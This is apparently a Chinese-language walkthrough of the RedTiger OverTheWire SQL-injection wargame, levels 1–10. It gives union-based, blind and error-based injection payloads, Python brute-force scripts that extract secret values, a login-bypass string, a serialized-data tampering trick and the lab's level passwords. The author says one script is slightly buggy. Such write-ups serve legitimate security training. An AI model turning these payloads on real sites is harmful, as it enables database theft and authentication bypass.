write ctf 注入
Level 1普普通通的一个注入关，直接构造语句即可[*]https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users
Level 2题目说，一个简单的密码绕过，那就简单一下试试，sql万能密码
[*]用户名随意
[*]密码' OR '1'='1
绕过成功Level 3尝试出个错误...也是醉了
那我们就出个错瞧瞧~
尝试是否为sqli，但是sql无错误回显，考虑php原因
直到
[*]https://redtiger.labs.overthewire.org/level3.php?usr=a&usr=b
才显示出来一个错误
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21
因为.inc这种文件可以访问，所以我们获得了一部分源码
[*]<?php
[*]function encrypt($str)
[*]{
[*] $cryptedstr ="";
[*]for($i =0; $i < strlen($str); $i++)
[*]{
[*] $temp = ord(substr($str,$i,1))^192;
[*]while(strlen($temp)<3)
[*]{
[*] $temp ="0".$temp;
[*]}
[*] $cryptedstr .= $temp."";
[*]}
[*]return base64_encode($cryptedstr);
[*]}
[*]function decrypt ($str)
[*]{
[*]if(preg_match('%^*={0,2}$%',$str))
[*]{
[*] $str = base64_decode($str);
[*]if($str !=""&& $str !=null&& $str !=false)
[*]{
[*] $decStr ="";
[*]for($i=0; $i < strlen($str); $i+=3)
[*]{
[*] $array[$i/3]= substr($str,$i,3);
[*]}
[*]foreach($array as $s)
[*]{
[*] $a = $s^192;
[*] $decStr .= chr($a);
[*]}
[*]return $decStr;
[*]}
[*]returnfalse;
[*]}
[*]returnfalse;
[*]}
[*]?>
在这个文件中，给出了对usr这个参数的加密和解密方式，所以，我们用这个加密方式加密我们的语句，得到最终的POC
[*]https://redtiger.labs.overthewire.org/level3.php
[*]?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0
Level 4点了一下Click me，下面显示了Query returned 1 rows.加个单引号变为了Query returned 0 rows.所以应该是盲注了
[*]order by表示有两个column，虽然也没啥用..先来判断长度
[*]https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17
[*]一共17个字节，这次肯定不是MD5。。。
[*]写脚本，从A-Z a-z 0-9跑一遍，得出最终结果
[*]# -*- coding: utf-8 -*-
[*]import requests
[*]s = requests.Session()
[*]result =""
[*]login ={'password':'dont_publish_solutions_GRR!',
[*]'level4login':'Login'}
[*]for x in range(1,17):
[*] flag =True
[*] url ="http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1from level4_secret where SUBSTR(keyword,%d,1)='%s'"
[*]for i in range(ord('a'),ord('z')+1):
[*]if(flag ==False):
[*]break
[*] test_url = url %(x,chr(i))
[*] r = s.post(test_url, data = login)
[*]if"2 rows"in r.content:
[*] result = result + chr(i)
[*] flag =False
[*]for i in range(ord('A'),ord('Z')+1):
[*]if(flag ==False):
[*]break
[*] test_url = url %(x,chr(i))
[*] r = s.post(test_url, data = login)
[*]if"2 rows"in r.content:
[*] result = result + chr(i)
[*] flag =False
[*]for i in range(ord('0'),ord('9')+1):
[*]if(flag ==False):
[*]break
[*] test_url = url %(x,chr(i))
[*] r = s.post(test_url, data = login)
[*]if"2 rows"in r.content:
[*] result = result + chr(i)
[*] flag =False
[*]print result
[*]print result
Level 5还是登录绕过，禁用了几个函数，而且不是盲注，让我们关注看报错信息通过最终的结果的行数，判断是否登录成功所以我们的POC
[*]login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #
Level 6Target: Get the first user in table level6_users with status 1
先查status 1 就是普普通通的注入，没啥难度
POC
[*]https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1
Level 7又是盲注，但是这次出在了搜索的位置，限制更加严格，所以我们换个关键字..
所以我们还是和上面某Level一样的思路
再次编程
[*]# -*- coding: utf-8 -*-
[*]import requests
[*]s = requests.Session()
[*]result =""
[*]login ={'password':'dont_shout_at_your_disks***',
[*]'level7login':'Login',
[*]'dosearch':'search!'}
[*]for x in range(1,17):
[*] flag =True
[*] url ="http://redtiger.labs.overthewire.org/level7.php"
[*]for i in range(32,127):
[*]if(flag ==False):
[*]break
[*] login["search"]="google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='"%(chr(i), x)
[*] r = s.post(url, data = login)
[*]if"FRANCISCO"in r.content:
[*] result = result + chr(i)
[*] flag =False
[*]print result
[*]print result
上面这段代码貌似有点小问题Level 8加了一个' 爆出了错误，明显是error base
[*]hans@localhost', name=password, icq = 'q
Level 9依旧是error base
通过一个' 判断注入出现在textarea中，于是构建语句
[*]'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'
过关Level 10只给了一个Login按钮，通过抓包，我们看到了一个base64加密过得json
解密得到
[*]a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
我也不造这是啥，但是谷歌一下发现有人发这道题的writeup参考一下。。。
然后找到了这个
http://php.net/manual/en/function.serialize.php
发现只要最后一个password改成boolean True即可...
也就是说，这个是用流来保存数据的一个方式，最后的密码位改为布尔型b:1即可过关
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